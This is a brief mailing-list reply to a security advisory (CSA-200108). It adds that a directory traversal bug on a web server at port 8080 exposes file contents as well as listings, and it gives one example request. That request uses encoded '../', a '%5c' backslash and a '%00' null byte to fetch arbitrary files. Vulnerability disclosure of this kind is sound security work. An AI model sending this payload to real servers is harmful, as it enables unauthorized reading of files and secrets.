Re: CHINANSL Security Advisory(CSA-200108)

[Stian Myhre]

Hi all.

It is possible not only to get the listing
but also the files.
If you use replace the last / with %5c it will
give you the file.

example:
> http://target:8080/%2e%2e/%2e%2e%5cyourfilehere%00.jsp

-Njack